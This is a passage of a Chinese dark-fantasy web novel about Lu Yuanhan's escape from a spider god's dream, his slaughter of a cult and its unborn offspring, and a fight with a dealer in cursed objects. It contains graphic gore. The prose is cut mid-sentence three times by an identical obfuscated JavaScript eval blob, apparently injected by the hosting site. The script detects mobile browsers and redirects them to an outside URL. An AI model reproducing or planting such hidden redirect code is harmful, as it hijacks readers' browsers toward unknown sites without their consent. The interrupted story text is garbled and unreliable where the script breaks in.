被蜘蛛选出的教徒纷纷上前,扬起脖颈,等待着神赐的降临。 看着那些身披罩袍的背影,路远寒没来由地打了个寒颤。他不知道那位存在究竟要做什么,但从前面的血肉祭祀和这一路的屠杀来看,所谓的恩赐绝不可能是什么好事。 祂动了,整座宫殿猛地一颤。血肉墙上翻涌的肢体开始溃散,砸在地面仿佛在下一场器官雨。 高处的巨型蜘蛛抬起祂遍是眼睛的头颅,最前面的螯肢飞快伸展,像是朝着下方袭来的锋利镰刀,勾住了为首那名教徒的腹部。他表情痛苦地弯下腰,极力忍耐着赐福的过程,然而这鲜血淋漓的一幕却没能平息其余人狂热的信仰。 众目睽睽之下,他的腹部突然有了变化。 随着表面皮肤开始无规律地颤动,那名教徒的肚子逐渐隆起涨大,被注入皮下的血肉吸收了营养,近乎将他的下腹撑得像个突起的球体,牵连着剩余的器官往下坠去。 所谓的神赐,竟然是孕育王的子嗣! 路远寒顿时感到一阵反胃,但教会里的信徒早就对他们的王深信不疑,情愿将自己献出去接受神的降福。最开始那人抱着自己的腹部倒在地上奄奄一息,而沾着血肉的螯肢已经开始了下一场灌注。 白犬是最后一个。轮到他时那庞大的足钩已经被许多人的血液糊满,驾轻就熟地撕开表层皮肤,将蠕动的肉团塞进去填满空隙。 他的肠子将成为脐带,腹腔将成为安置胎盘的胞宫,而这一切都是王的旨意,是祂的施恩。 被选中的八个教徒怀抱着王的后裔,匍匐在血泊当中,他们腹中的胎儿还在不安地蠕动,将包裹着血肉的皮肤撑出各种诡异离奇的形状。 看到这种场景,剩下的人非但没有表露出一丝惶恐,反倒成群结队将他们围了起来,主动伸出自己的胳膊,用匕首在手腕处割开口子。鲜血如注地洒出,一滴滴落在教徒们颤颤巍巍伸出的舌尖上,被舔进食管咽下。 为了维持受孕者的生命,坚持到神嗣诞生的那一日,教会的人必须要在这里轮流喂养他们,如此循环往复,每两个月进行一次。 路远寒自然没有加入其中。 他在发现事情不对的时候就开始不着痕迹地往旁边挪动,所有人都在忙着各司其职,没人注意到有一个教徒悄无声息从门口离开了。 对于倒悬在墙上的存在来说,路远寒太渺小而不值一提,就像一粒微尘从眼前飘过,祂根本没有留意到这种无关紧要的小事。 没有幽光的指引,想在这座宫殿内找到出路简直是天方夜谭。出门后的走廊犹如一方漆黑无光的世界,无论朝左朝右都感觉不到方向,只剩下沙沙的脚步声,以及黑暗中某种生物沉重的鼻息声。 路远寒停下动作,将罩袍下的锯肉刀拿在了手中,不管武器在梦境中能不能起效,总要对意外有所防备。 他试着放轻呼吸,找准一个方向前进,漫长的煎熬后终于隐约看到了微弱的光芒。随着距离越来越近,路远寒也看清了光源的长相:那是攀附在墙上的一只长毛野兽,在它瘦长的爪掌中不断有银黑色的漩涡浮现。 路远寒看到了它,而它也同样注视着路远寒。 怪异的光芒在眼前放大,强大的引力让路远寒身体不受控制地向着漩涡中心飞去,顷刻间眼前昏黑一片,骤然失去了意识。 再次醒来时,路远寒发现自己正待在一间囚牢之中。 由于是在梦境中失去的意识,因此他感觉不到时间的流逝,并不知道神嗣的诞生进行到了哪一步。好在这囚牢的环境倒是比宫殿内亮堂一些,不会再被无垠的黑暗所吞噬。 路远寒坐起身来,仔细观察着周围的环境。很快他视线一凝,望向了牢房的角落,这才发现自己并非寂寞一人,还有具骷髅躺在那里无声地陪伴着他。 这位佚名前辈应该已经死去多时了,血肉都化为腐朽,只剩下空荡的骨架。路远寒眉头一跳,为什么在梦境中死去还会遗留下尸骨,他不敢细想下去。 他谨慎地靠近骷髅,从对方胸前拿到了一个硬质外壳的笔记本。 翻开笔记,便能看到纸页上那潦草狂飞的字迹,前面还勉强能读下去,隔了几页就扭曲得难以辨认出任何一个字,仿佛身后有什么东西正追赶着笔者似的。 显然,这是一本遇难者的日记: “这一切都是骗局!根本就没有所谓的救赎。如果祂真的想让子民们沐浴在神国的照耀下,又为什么要让那些怪物将我们的同伴折磨致死?没有天使会长着巨大的口器和獠牙,我们被欺骗了…… 我不想死。但同伴们都被蛊惑了,他们宁愿让肚子里那诡异的东西长大把内脏撑破,也不相信我们的信仰是错误的,真相总是让人绝望。 …… 不知道过去了多久,一直被关在这个鬼地方。根本没有人能和我说话,但是好像有无数只眼睛在看不见的地方盯着我,监视着我的一举一动,这种感觉太恐怖了,这样下去我迟早会疯掉的。 同伴们怎么样了?那些怪物降生了吗?我还活着吗?我真的好想知道这些问题的答案。 墙回应了我。它们发现我了! 不、我不想死,我不想死……没有办法逃出去,我尝试着寻找出口,虽然出去很容易,但是每次都会被它们追赶,还是待在这里比较安全。只要我在牢房里,就不会引起它们的暴怒。 我知道了!那扇门就是… 不不不不不不Nnnsgtyahbbagyajaujal……… 它们来了。” 笔迹到这里戛然而止,后面便是毫无意义的涂抹与一些秽物。这些文字有着诡异的魔力,能将笔者心底那些不可名状的惊恐与绝望呈现在字里行间,甚至还在缓缓朝着下方流动,仿佛下一秒就要撕开纸张扑到路远寒脸上来。 路远寒合上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962867|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日记,远远地扔到了一旁的角落里。 虽然不知道写日记的人在这里待了多久,也不知道他最后遭遇了什么,但从这些记述中看,这间囚牢外面显然有着不少看管犯人的怪物,一旦从这里出去,就会被它们疯狂追逐。 路远寒来到栅栏前,立刻明白了所谓的“出去很容易”是什么意思。 在梦境的王庭之中,遍地都是体型巨大的畸变物,这座监牢显然并不是为了人类特制的,从不同栏杆的缝隙间就可以轻松地走出去。 但他并没有轻易尝试直接出去,毕竟有了那具尸骨的前车之鉴,他必须得时刻保持谨慎。路远寒现在调用不了触手,万一被怪物追上来撕碎,那恐怕他在外面的躯体也就相应地死亡了。 笔记中还有一点让人很在意,那扇门。 路远寒思考片刻,回想起在宫殿内穿过的道道门洞,捋清这件事的前因后果,他认为这里提到的应该是朝觐者们从教会进来时打开的那一扇门。 既然他们从门内进入了梦境,那按照常理来说,应该也能通过它离开才对。 要想找到那扇门,至少需要先从这座囚牢出去,才能继续寻找回去的路。路远寒开始了规划,被他血液毒死的蜻蜓再次浮现在眼前。他将罩袍的袖子卷起,控制好下手的力道,便用刀刃一端轻轻割破了左臂。 鲜血一股接着又一股不断涌出,被路远寒均匀地浇在锯肉刀的两面。 没想到最后还是变得和那些教徒们一样了。 路远寒将掌心按压在伤口表面,等到血流停下来了再松开。以往这把钢刀都是被敌人飞溅的血肉浸透,现在却沾满了属于他的味道,而这竟然隐隐激起了他的战斗欲。 他不再多想,握紧手上的锯肉刀,立马冲了出去。 路远寒沿着走廊飞奔,看到两边的牢房大多数都空着,紧接着他便发现,地面竟然是活的!一块又一块突起的地板像是鲨鱼鳍似的飞快朝着他游来,张开了锋利的牙齿。 眼看就要被这些地板围剿,路远寒脚下借力,高高跃起,这一记重斩将其中某块畸变物劈得滋滋冒烟,立马撕开了突破口。 落地后他也不见丝毫停顿,转动胳膊横扫过去,抡出的锯肉刀在低处划出一道圆弧,把剩下的活地板也逼退出三丈开外。 这些血液量能维持的时间并不久,随时都有失效的可能。 路远寒一刻都不能耽误,他健步似飞,如履平地,手上还在不断挥刀清扫怪物。强烈的酸胀感将整条胳膊裹住,他狠下心一咬牙,顶着跟腱撕裂的剧痛感,犹如野兽般弹射而出,径直跑上了那条通往上方的螺旋楼梯。 追赶着他的怪物似乎消失了。 路远寒顾不上思考其他事,攀登这条楼梯对人类来说相当陡峭,他需要将锯肉刀扎在上方,用尽全身的力量往上拉,才能爬上下一级台阶。 漫长的时间仿佛在不断旋转,他被一只看不见的食指推着往前走,直到失去了感知痛觉与恐惧的能力,终于看见了这座地牢的大门。 10. 逃离 微光在眼前浮现,让路远寒精神一振,迅速从门扇与墙壁之间的缝隙钻了出去。 从手臂传来的酸痛感一阵阵刺激着他的神经,没有了触须的恢复能力,他身体各项机能都下降了很多。但路远寒并没有停下脚步,他发现这座囚牢竟然建在城区以外,也就是说不必穿越充满畸变物的王庭,就能寻找回去的路。 路远寒心情复杂地抬起头,最后望了一眼这座笼罩在黑暗之中的巍峨王庭。 他甩了一下握着刀的手臂,撕开罩袍,将锯肉刀重新插回腰侧,就迅速顺着崖坡往下走去。 正如路远寒所想的那样,千尺远的距离和来时一样在脚下缩地成寸,不过片刻,支配着梦境的无形力量就将他送到了来时的入口。 那扇连通着梦境的门突兀地悬浮在地上,散发出幽幽的波光,仿佛通往不可知的地方。但路远寒知道,从那里出去,就将回到维诺拉教会,于是他拉开门板,毫不犹豫地走了进去。 在穿过门的那一瞬间,他感觉到身体不受控制地失去了重量,僵硬地停在了空中。而思维也被冻住了,阴鸷而冰冷的视线如芒在背地凝聚在身后,缠绕着脊椎一直向上逼近脑部,路远寒知道,自己获得了祂的注视。 路远寒猛然睁眼,发现自己还在祭坛前跪着,那些教徒匍匐在地,跪拜着已经被飨用完的大鼎。 一片死寂之中,祭坛四角点着的烛火微微晃动,提醒着他已经回到了现实世界。 终于从梦境中出来了,路远寒松了口气。他的视线缓缓移动,在神国被屠杀的教徒此刻已经暴毙身亡,遍地流淌着湿滑的黑血,而那几个孕育者的肚子则诡异地高高隆起,显然,被灌注的神嗣已经降临在了他们腹中。 在路远寒的注视下,那些潜藏在教徒腹下蠕动扭曲的血肉还在不断膨胀,最后恐怕会撑开外壳,直接从孕育者的尸水中涌出。 神嗣的存活率有多高,爬出来后又会有怎样的影响,路远寒并不清楚,但他在梦境中已经被王注视着了,要是就这样放任祂的后裔降生,恐怕倒霉的只会是自己。 而且从赐福的过程来看,这些孕育神嗣的人才是仪式中真正的祭品,等到怪物孵化而出,他们也将迎来万分惨痛的死亡。 路远寒握着锯肉刀,悄无声息地从一旁绕到白犬身前。看着对方沉重的肚皮上不断搏动的血管,他不得不一刀戳进去,转动钢刀上锋利的锯齿,用力捣碎快要成型的肉盘。 他听到那东西在嘶吼着,哭泣着,凄厉的尖啸声回荡在教堂中央,灌满白犬体内的肉块瓢泼洒了一地,挣扎着慢慢死去了。 路远寒从肉糜中拔出刀,正想解决下一个神嗣,就在这时,他身体里的触手失控了,疯狂朝着地上的死肉扑去,从触须中张开的无形口器吸收了部分残渣。路远寒七窍流血,无以复加的痛感让他眼前黑了下去,他感觉脑海像是被撕裂,仿佛有一千万根钢针从脑髓穿过,整个人后退两步,当场迸裂成了一地黑泥断肢。 锯肉刀砸落在地,发出一声咣当巨响。 良久之后,瘫软在地上的触手缓慢聚拢,将路远寒已经支离破碎的皮肤缝好,兜着黢黑的肉块套进去,塑造出原本的人形。细小的触须融进皮肤缝合的痕迹中,将那些模糊不自然的边缘打磨填平。 路远寒站了起来。 不过他此时只有一只眼睛,另外半边脸上的窟窿还空着,洞中遍是蠕动的触须,难免显得有些骇人。 他微微皱眉,再次伸出的触手如同一张密不透风的黑网扫荡了教堂,终于在一个角落找到了滚过去的眼球,捡起来重新安了上去。 适应了一下身上各处有些移位的器官,路远寒站在原地,陷入了沉思。 经过刚才的剧变,好消息是他现在的视觉已经不再需要通过眼球传递,但原本这双眼睛饱经折腾,已经快要彻底毁坏了。 要是想维持人形,路远寒还得找一双不会腐朽的眼睛给自己安上,赚钱联系工匠已经成了他规划中一项必须完成的任务。 路远寒发现,和一般的畸变物相比,带有神血的尸肉对触手有着非同寻常的吸引力,以至于他还没来得及克制食欲,触手就完全失控了。不过他从刚吃下的胎盘中延续了一部分王的权柄,得益于此,他的灵性增强,现在能够理解这世界上很多未知的事物了。 路远寒抬起手,竟然从梦境中召唤出了一只蜘蛛。那极具威慑性的怪物面目狰狞而恐怖,却没有对他表露出任何攻击欲望。 本应属于王的眷族现在听他调遣,虽然仅有一只,但那庞大的体型仍然有着不可小觑的力量,身上的毒腺同样可以利用。对于路远寒而言,这已经是极大的辅助了。 随着他一挥手,正在嘶嘶鸣叫的蜘蛛又被送回了梦境当中。 神嗣的清理还没有结束,路远寒捡起刀,走向了那些一动不动,像是引颈就戮的教徒。这次他小心翼翼地收好触手,每杀死一只怪物,就立刻退到数米外,保持着自己与神嗣的距离。 好在不需要他出手干涉,也有些畸形产物胎死腹中,看来并不是每一个被赐福的教徒都能顺利诞下王的后裔。 路远寒手起刀落,精准而高效地执行着任务,锯肉刀每一下捅进肉都磨练着他的手感,塑造着他的本能,将他从头到脚逐渐打造成一台格外强韧的战斗兵器。 直到最后一只神嗣也消亡死去,此时的维诺拉教会,只剩下路远寒一人。 既然已经杀了神嗣,他索性放出触手,将其余教徒也全都杀了。其中大多数人早就在梦境中死去,剩下的主教等人也是用活人献祭的极端分子。为了防止王借他们的力量降临,路远寒必须这样做。 他能感觉到,那位”神祇“被束缚在祂的梦境中,需要仪式和信徒才能将力量释放出一部分,干涉现实世界。恐怕白犬口中所提到能覆灭霍普斯镇的灾厄,也需要依托他们这些渺小的教徒才能实现。 不管祂什么时候会招收到新的教徒,重新降临在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962868|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世上,至少现在,路远寒打算走一步是一步。 幽幽火光下尸横遍野,维诺拉教会无一幸免,属于教徒和神嗣的血肉弥散着滚落在座椅下,被无边的触手一根手指一块头皮地收集起来,丢进祭坛上的两只大鼎里,在烛火的炙烤下燃烧起来。路远寒坐下来仰望着高处的神像,他想,以后不用再担心这边的威胁了。 除了王的权柄,路远寒还有别的收获。他从白犬的肠胃中搜寻到了极少部分干瘪的脐带。 那根沾满血水的肉管缠绕在尸体上,由于神胎的死亡,这根脐带似乎也失去了诡祟的力量,散发着不详的气息。路远寒想了一想,用锯肉刀挑起边缘,将脐带镇压在了祭坛下。 这东西或许能发挥用途,但至少要等他找到能够隔绝影响的容器以后,才能回来拿走它。 白犬那颗强忍着痛苦的头颅被路远寒提着,埋在了教会门前的地上。 由于不知道对方的真实姓名,因此路远寒只是简单立了一块无名牌匾。从先前的表现来看,白犬或许只是一个性格怯懦的狂信徒而已,但维诺拉教会以活人血肉为祭,献出教徒让邪祟降世,确实是不折不扣的异端,也难怪猎魔人协会对这些异教徒如此排斥。 将现场清理完之后,路远寒才离开了教会。 没有人为他带路,因此无论路远寒想跨过溪流还是走出密林都相当困难。即使凭借着触手走得飞快,他还是花了将近一整天才从林中出来,等到搭上回霍普斯镇的马车,已经是第二天的事了。 路远寒并没有第一时间回诊所休息,而是转头去了秘语者酒吧。他在路上猎杀了不少畸变物,打算先将这一部分材料拿去售卖。 不过令人尴尬的是他现在身无分文,被拦在了秘语者酒吧的门口。 好在威尔斯这两天一直在找他,到处寻找不到,便打算在秘语者等他出现。远远听见那熟悉的声音,威尔斯立刻垫了费用,将路远寒带了进去。 “两杯迷醉之夜!”威尔斯打了个响指,望向路远寒手中提着的一串颅骨内脏,“你这是跑出去自己接私活了?要不要这么勤奋啊,协会又不发奖金!” 这是他第一次看到对方面具下的真容。 威尔斯没想到这个阴恻恻的家伙竟然长得如此俊美斯文,低头时垂着的睫毛看起来甚至有一分忧郁,顿时理解了那副鸟嘴面具存在的意义。 他点的迷醉之夜端了上来,路远寒将酒杯端过来一饮而尽,辛辣温热的液体顺着喉管下肚,似乎将那种困倦感驱散了一些。 “出了一点意外,不过也还好,我最近手头比较缺钱,反正也没有其他事。这把刀现在很亲近我了……对了,之前的雇主结清报酬了吗?” 听路远寒提起那桩委托,威尔斯才想起找他的正事。 他将一张写着账户密码的纸条递给路远寒:“人都给他送过去了,当然得结账,这破事差点没坑死我。不过我没问到你的地址,四百帝恩币,就在这个账户上。” 11. 异物 “多谢了。”路远寒目光一闪,从威尔斯手里接过了纸条。 他之前还在想不能动用埃尔文的账户,以自己黑户的身份应该怎么储蓄比较好,现在威尔斯就帮他解决了这个问题。想到账户里有那么多钱,路远寒忍不住开始计算四百帝恩币在银行里能产生多少利息。 “你跟我就不用客气了!”威尔斯哈哈大笑着,“听说你加入第九小队了,以后注意着点吧。你们那个队长可不是什么省油的灯,能离他远点就尽量远点,所有跟他扯上关系的人最后都倒大霉了。” 路远寒找来酒保,托对方将他手上的猎物拿去售卖:“我还没见过他,具体是怎么个倒霉法?” “你听说过异物吗?” 路远寒点了点头:“大概知道一点。” 在这片有着各路神祇力量泄漏的区域,疯狂与诡异横行,并不只有活着的生物会发生畸变,部分特殊物品也会被赋予神奇的力量。而这些能够使用的特殊物品,则被统一称为异物。 路远寒认为,埃尔文的那本通灵书就是一种异物,只不过被他连同尸体一起放进了地下室,至今没有翻开研究过。 毕竟有前车之鉴,他并不想召唤出某种怪物。 “那家伙三年前接了一桩委托,没想到任务失败,委托里要求解决的异物还缠上了他。”威尔斯将当年的事娓娓道来,“他还算有点本事,应该是想办法收服了异物,逃过了一死。但他身边的人就惨了,但凡和他有长期接触的人,都会以一种诡异而倒霉的方式死去。你能想象身边的所有东西,包括一颗钢钉、一盏吊扇都会杀死你吗?” “所以他就不和别人协作出任务了,也只是挂了个队长的虚职。听说他后面到海上待了一段时间,现在也不知道怎么样了,总之你记得小心他就对了。” 路远寒将这条情报在心中记了下来。 他翻看起还没有被其他猎魔人接取的榜单,寻找着合适的委托。除了那张悬赏月之镜守护者眷族的,剩下的就是一些寻找画作、猎杀魔虫、探索地下墓穴之类的委托,报酬在八十到五百帝恩币不等。 其中探索墓穴的还没有招聘够人数,路远寒打算过段时间去联系一下这位委托人。 他和威尔斯又闲聊了几句,得知对方最近正在追查一个卖异物的二道贩子,他将大量来路不明而且非常危险的异物私下卖给别人,因此死了不少人。不过这个人非常狡猾,威尔斯每次刚抓住一丝马脚,他就立刻转移到了其它地方。 威尔斯看起来有些焦头烂额:“说实在的,那家伙手上的东西太危险了,真是不怕用多了产生后遗症。要不是他偷到了雇主头上,我一点都不想沾这个麻烦。” 听他这样说,路远寒不由开始思考,虽然他还没有遇到过使用异物的敌人,但考虑到对方能使用多种异物,要应对的话应该相当棘手。 咚咚…… 桌面被礼貌地敲了两下,路远寒抬起头,酒保将售卖所得的钱交给了他。畸变物身上的材料一共卖了四十七帝恩两先令,他揣着两先令陷入了沉思……或许也该给诊所交水电费了。 除了平分酬劳,威尔斯这次还有一项任务,就是带路远寒回去训练射击。显然他的动手能力在猎魔人中数一数二,所以才会被屡次派来教新人如何猎杀以及开枪。 于是路远寒跟着他回到猎魔人协会,在威尔斯的指导下举枪对着靶子进行射击。 路远寒前面开过一次枪,因此心理压力并不是太大,只是他持枪的姿势和稳定性都需要调整。在威尔斯的监督和反复练习下,他终于达到基础标准,领到了属于自己的配枪。 “从今天起你就可以自己开枪了。”威尔斯拍了一拍路远寒的肩膀,将本月配额的弹匣塞进他手里,“拿去吧,咱们的弹药虽然比不上缉察队专属的錾银子弹,但对付畸变物也有强击退效果。” 路远寒收好枪支弹药,静静听着威尔斯絮叨: “还有一些装填麻醉弹、镇静剂的特殊用枪,这些需要申请才能发下来,通常情况下都用不到。你要是想见识见识更特殊的,可以去别人那里买,秘语者就有一个制作枪弹的高手,不过得碰运气。” 他不由得心想,这个前辈的话实在是有点多。 第二天醒来的时候,路远寒从床上坐起来,感觉浑身的肌肉像是被翻修过一样,连续几天高强度的消耗让他睡得相当沉。 对于昨晚的事,他只记得在猎魔人协会练习练得胳膊酸痛,又被威尔斯叫去喝了两杯,回来就不省人事了。 路远寒转头望着挂在墙上的画,忽然表情温柔地伸出手,用指腹仔细擦拭着画框。画中的笔触优美而富有情感,勾勒出一道年轻的身影,那双眼睛如盛着秋水,脸颊皎洁似雪光,任何人被她注视着,都会情不自禁地屏住呼吸。 路远寒说:“我们会回去的,对吗?” 听到他的问题,画中的女孩露出了微笑。 她的唇角高高扬起,越来越长,仿佛要飞到脸颊两侧。随着路远寒背过身去,镶嵌在墙上的画框顿时扭曲起来,坚硬的棱角朝着下方弯折,似乎想要将他拥抱在怀中。 这时路远寒打开房门,想到了什么,又转头看向了那幅珍贵的画作。 望着对方漂亮的黑发黑眼,他突然产生了疑惑,除了自己以外,霍普斯镇哪里来的亚裔人?眼前的场景在朦胧中闪烁了一下,待路远寒看清那张和他越来越接近的脸庞,才猛然意识到,等她彻底和自己一模一样的时候,自己恐怕就要惨遭痛手了。 路远寒脸色沉了下来。 他想起在秘语者看到的委托,雇主聘人寻找一幅诡异的画作。按照雇主所说,画中人会根据所有者修正自己的模样,当它完全换上一张相同的脸时,那个被替代的人就将永远消失在这个世界上。 那时他并没有太过留意,而现在,随着委托单上叙述的内容越来越清晰,施加在路远寒认知上的扭曲溶解不见。画中人已经不能再蛊惑他了。 只是他仍然没有明白,这幅画为什么会出现在诊所中。假如没有人故意放在这里,难道是画框尾随着他回到了诊所? 察觉到他已经不会再上当,画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962869|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中人不再笑了,原本鲜艳明亮的颜色变得阴郁漆黑,毫无规律地蠕动着。她面无表情地转身消失,看到紧接着出现的背景,路远寒顿住了,那幅画里竟然照出了他所在的手术室。 他立刻意识到了什么。 随着画面中的内容扭曲成一个神秘的漩涡,周围的空间也盘错交织了起来,走廊回旋着出现在路远寒的头顶,两侧的墙壁开始压缩,这间诊所就像是被拧紧的毛巾,各个位置都挤成了一团。 要是不想办法离开,迟早会被压成一摊薄薄肉皮。 路远寒的视线落在画上,根据错位后的空间,辨别着出口的方向。但是诊所大门被藏了起来,即使他在这条畸形的莫比乌斯环上奔跑,也永远不可能到达环侧所在的位置。 眼看着整座天花板朝自己缓缓压下,路远寒拉开门滑了出去。他想起威尔斯提到的内容,所有异物都有一定的限制,不管是能力范围还是遵循的规律。 他顺着卷曲的走廊跑到一侧尽头,毫不犹豫地撞碎窗户跳了出去。 诊所外的空间显然不受画作的影响,路远寒从二楼敏捷地落在地上,随着短促的哒哒声,一双脚出现在他面前:“竟然没死吗,太遗憾了,还以为被这东西缠上的应该都是短命鬼才对。” 说话的人体型偏胖,鼻下留了两撮胡须,看上去就像是一个再普通不过的霍普斯人。让人在意的是他怀中抱着的东西,那东西被他用布袋裹着,还在小幅度地起伏,说是活物,下端却又有着明显的棱角,透露出一种说不清道不明的怪异。 路远寒拔出枪,面色不善地持着枪往后退,枪口直指面前的男人,他却没有丝毫慌张,像是笃定了一个猎魔人不会轻易开枪。 只见他用指腹摩挲了一下扳指,脚下的影子便开始无限蔓延。那些阴影迅速拉长变形,从门缝下潜进诊所内部,不多时,由黑影凝聚而成的手掌就托着画框呈到了男人面前。 这是异物!路远寒反应过来。 那幅画的影响力显然并不能覆盖一整条街道,此刻被黑影攥在手中,画框四角还在不断挣扎颤动。男人揭起布袋,里面放的竟然是一个长着嘴的箱子,箱盖一开便露出边缘处阴森的尖牙。 随着他将手杖重重敲在画框上,那幅画顿时失去反抗能力,被焦躁难耐的箱子张嘴吞了进去,箱盖重新合上,就仿佛什么都不曾发生。而那根手杖戳在地上,坚硬的路面瞬间从中央受力点向四周裂开一道小坑,显然这也是一件异物。 不过顷刻的工夫,男人手上的异物就接二连三地展现出能力,让路远寒意识到,这人应该就是威尔斯追查的那个二道贩子。 虽然不知道诊所中的画是不是他放的,但就目前来看,他显然跟这件事脱不了干系。 路远寒视线紧盯着面前的人,他没打算放过对方,而对方显然也不怀好意。从脚下袭来的阴影如毒蛇一般快速游动,路远寒接连后跳几步,后背紧贴在路灯上,将灯光下的投影缩到了最小。 枪口倾泻而出的弹壳一颗颗撞在影子上,火花四起,烧得那无形之物尖叫起来。 12. 战士 随着枪声响起,男人的神色一变。 在镇内开枪必然会引起缉察队的注意,他来回收异物,对付这个猎魔人只是顺手,并不想因此搭上自己的身家性命。 汹涌的黑影顿时调头返了回去,擎着他那臃肿的身躯送上了旁边一处屋顶。男人体型虽胖,身手却异常灵活,即使拖着装箱子的布袋,在地势起伏的屋顶上跑起来仍然如履平地。 眼看对方就要逃走,路远寒眼中杀意闪过,伸展的触手钩住梯子一端,瞬间翻上了房檐,急速朝着男人追去。 踩碎瓦片的声音接连响起,男人回头一看,发现那个猎魔人竟阴魂不散地跟在后面,像个幽灵似的,顿时眉头紧皱。 黑暗中阴影的效果远不如前,不能再用来对付敌人,他的手朝着衣袋里摸去,拿出一座袖珍的人鱼雕像,雕像在温热的抚触下活了过来,口中发出一阵接着一阵让人心潮激荡的旋律。 在它如泣如诉的歌声下,路远寒立刻慢了下来,身体仿佛灌了铅一样,被重力压着迈不开腿。但他的思维仍然清晰,当即拿出锯肉刀朝远处扔去,刀柄回旋几圈砸在男人手上,雕像脱手而出,一溜烟顺着房檐滚了下去,他的身体又重新恢复了轻盈。 路远寒向前一扑,就势拿住钢刀起身。 他手中的锯肉刀展开利齿,和主人一样凶光毕露。路远寒此时已经接近男人周身,引发了他的危险感。男人握着手杖挥去,路远寒委身避过,杖端落在屋顶,瞬间砸塌了一大片区域,两个人同时摔落在地,被压在尘土飞扬的废墟之下。 看着路远寒从瓦砾中挣扎着爬起,男人不由得大惊失色。 这猎魔人身上没有携带任何一件异物,却能追杀他到这种程度,实在是让人毛骨悚然。他捂着被一根钢筋贯穿的肚子,已经有些后悔刚才惹上这个麻烦,事已至此,也只能松开手抱起箱子,匆忙跑了出去。 从他腹部洇出的血液不断打在地上,伤势这般严重,男人却还能保持行动,路远寒推断他应该有一件异物正在发挥作用。 路远寒权衡了一下再追下去能否抓到对方,要是动用触手,他就必须保证杀了对方,不能让自己的秘密泄露出去。很快他不作多想,身体迅猛地向前跃起,不断缩短着两人间的距离。 就在路远寒的钢刀被手杖挡下,准备放出触须的时候,一针熟悉的镇静剂射在男人肩膀上,威尔斯竟然也找了过来。 路远寒立刻压下身体的蠕动,两个猎魔人前后夹击,将男人逼到了绝处。 只见他神情骤然间变得阴沉癫狂,竟是不跑了,手掌从伤口伸进腹部,带出大半截血肉模糊的肠子,攥在手里硬生生拧断了,将它放在一张褐黄色的牛皮纸上。 而那牛皮纸似乎有着诡异的力量,散发出的血光笼罩着男人按上去的手指,顺着血管的走势向上游去,一根根盘错生瘤的筋肉挣脱皮肤在空中舞动,顷刻间将他这只手臂打造成了一条被血肉缠绕着的巨大腕足。而他瞳孔中已经彻底被狂乱的纹路填满,只剩下吞噬一切的欲望。 面对失去理智的敌人,路远寒和威尔斯都看出其中的凶险,立刻向后退去。 男人高举血手,肆虐的血管朝着两人分别追来。路远寒侧过身绕着一圈飞快闪避,威尔斯手上的猎斧猛然砍下一截腕足,断口瞬间又增生出新的肉节,涌出的力量堪比野兽,缠着他的脖颈将人吊在了半空中。 情势十分危急,所幸在这畸变力量的影响下男人似乎变得痴愚迟钝,此刻路远寒已经从背后接近了他,手中的枪管对着后脑勺连开数发。 子弹齐飞,却被那块隆突的皮肤裹住慢慢吸收进去,让这怪物愤怒地转过身来,手臂也松开威尔斯,立刻朝着路远寒抽了过来。 一道剑光划过,半截巨大的血肉腕足被从中间斩断,从高空落下的身影正是西蒙娜。 断口滋生出的肉条缠着那把大剑与她抗衡,西蒙娜目光一沉,竟然松开手让武器被怪物卷走,紧接着举起双手向两边一扯,径直撕开了那条异变的胳膊。撕下的血肉仍在狂躁地扭动,被她踩在脚下,用夺回的重剑猛地砸成不能复生的肉泥。 飙起的血雨倾洒在西蒙娜脸上,为她冷峻的面容再添一丝残酷。 被断了畸变血肉的男人像是找回了部分理智,踉跄着不断向后退去,人鱼雕像丢了,扳指则套在地上的断手处,身上能用的异物寥寥无几,他只能用另一只手握着手杖朝西蒙娜不断挥去。 能砸穿地板的力量,却被这个居高临下藐视着他的猎魔人一手扛住了。 “怪物……”他不由得喃喃着。 西蒙娜抬起大剑,将他的脑袋削了下来。那颗头颅滚落在血水中,还能看到双眼中逐渐消散的惊恐。 雨水倾盆而下,西蒙娜转头望向旁边的两人,早在她出手的时候,威尔斯就将路远寒拉到了一旁,说他们接下来不用掺和了。这位赫赫有名的战士无愧于她的称号,只是凭借一双手、一把大剑,就解决了让猎魔人都束手无策的怪物。 “这是你的委托目标?”西蒙娜皱了下眉,“对你们来说太危险了。” “这人滑不溜手的,前几次遇到都没这么拼命。”威尔斯低头查看着那具尸体,“奥斯温给了他重创,他被我们两个人夹击,恐怕是逼急了才会选择这种疯狂的方式。” 路远寒没有应声。 